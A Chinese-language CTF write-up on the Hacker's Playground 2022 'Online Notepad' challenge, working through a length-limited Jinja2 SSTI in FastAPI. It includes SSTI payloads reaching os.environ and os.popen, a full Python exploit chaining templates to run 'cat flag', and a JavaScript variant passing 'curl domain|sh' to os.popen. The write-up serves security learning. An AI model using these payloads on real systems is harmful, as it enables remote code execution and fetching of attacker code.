hackerplayground2022_OnlineNotepad_wp

  1. 1. hackerplayground2022_OnlineNotepad_wp
    1. 1.1. wp

hackerplayground2022_OnlineNotepad_wp

这周闲着没事打了一下这个比赛,就看了一道题,记录一下,题目本身不难,因为看题看的有点迟,最后没做出来,不过思路还是对的。

wp

fastapi+jinja2的ssti,因为不懂fastapi所以去翻了一下文档

1661242016180.png

1661242034693.png

大致意思是,fastapi有一个模型类BaseModel,然后postjson数据可以从json转化为Model对象,有java那味儿了。

1661242302007.png

memo是造成ssti的payload,但是长度限制为64因为前后要闭合,要加

1
{%endraw%}payload{%raw%}

所以实际能控制的长度只有47,但其实password能代替某些变量,一开始去看环境变量,发现

1
{%print cycler.__init__.__globals__.os.environ%}

长度为48,这时候只要注册个账号 密码为__globals__

然后

1
{%print cycler.__init__[password].os.environ%}

很可惜flag不在环境变量

47长度能直接访问到os的类没有想到有哪个。

之后的思路很简单,可以写多个模版,在一个模版里面定义变量,在另一个模版include,层层嵌套之后得到payload。

但我对include的理解好像有点偏差

我一开始写入admin1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{% import userid+".j2" as user %}

{% if userid == user.userid %}
{% if password == user.password %}
<h1>Hello {{ userid }}</h1>
<h1><pre>{% raw %}{%endraw%}{%include 'admin2.html'%}{%print a%}{%raw%}{% endraw %}</pre></h1>
{% else %}
<h1>Login Fail</h1>
{% endif %}
{% else %}
<h1>Login Fail</h1>
{% endif %}
</div>
</body>
</html>

然后包含admin2.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{% import userid+".j2" as user %}

{% if userid == user.userid %}
{% if password == user.password %}
<h1>Hello {{ userid }}</h1>
<h1><pre>{% raw %}{%endraw%}{%set a="payload"%}{%raw%}{% endraw %}</pre></h1>
{% else %}
<h1>Login Fail</h1>
{% endif %}
{% else %}
<h1>Login Fail</h1>
{% endif %}
</div>
</body>
</html>

但渲染admin1.html的时候我发现并没有输出a,然后觉得可能缺少什么条件,做了一会儿就没做下去了。

后来看到wp,知道是我用法错了,应该这样

先写入admin1.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{% import userid+".j2" as user %}

{% if userid == user.userid %}
{% if password == user.password %}
<h1>Hello {{ userid }}</h1>
<h1><pre>{% raw %}{%endraw%}{%set a="payload"%}{%include "admin2.html"%}{%raw%}{% endraw %}</pre></h1>
{% else %}
<h1>Login Fail</h1>
{% endif %}
{% else %}
<h1>Login Fail</h1>
{% endif %}
</div>
</body>
</html>

再写入admin2.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{% import userid+".j2" as user %}

{% if userid == user.userid %}
{% if password == user.password %}
<h1>Hello {{ userid }}</h1>
<h1><pre>{% raw %}{%endraw%}{%set b=a%}{%print b%}{%raw%}{% endraw %}</pre></h1>
{% else %}
<h1>Login Fail</h1>
{% endif %}
{% else %}
<h1>Login Fail</h1>
{% endif %}
</div>
</body>
</html>

1661243406580.png

所以可以说是我顺序搞反了

放个exp,discord上大佬的,思路就是我上面提到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests


def ssti(payload, username, password):
burp0_url = "http://onlinenotepad.sstf.site:80/memo/"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
burp0_json={"memo": "{%endraw%}"+payload+"{%raw%}",
"password": password,
"userid": username
}
a = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
def show(username,password):
burp1_url = "http://onlinenotepad.sstf.site:80/memo/"+username+"/"+password
burp1_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
b = requests.get(burp1_url, headers=burp1_headers)
print(b.text)

ssti("{%print(d('cat flag').read())%}","payl5", "nu1lpayload")
ssti("{%set d=c.os.popen%}{%include 'payl5.html'%}","payl4", "nu1lpayload")
ssti("{%set c=b.__globals__%}{%include 'payl4.html'%}","payl3", "nu1lpayload")
ssti("{%set b=a.__init__%}{%include 'payl3.html'%}","payl2", "nu1lpayload")
ssti("{%set a=joiner%}{%include 'payl2.html'%}", "payl1", "nu1lpayload")
show("payl1", "nu1lpayload")

除了这个之外,还看到一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
u = Math.random().toString(36).slice(2)
p = 'curl domain|sh'
memo = '{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}'
console.log(memo.length)
await fetch('/memo',{
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
userid: u,
password: p,
memo
})
}).then(r=>r.json())
location.href = `/memo/${u}/${p}`

长度正好为47,password为参数,可以执行20长度以内的命令,学到了

1
{%set a=lipsum.__globals__.os.popen(password)%}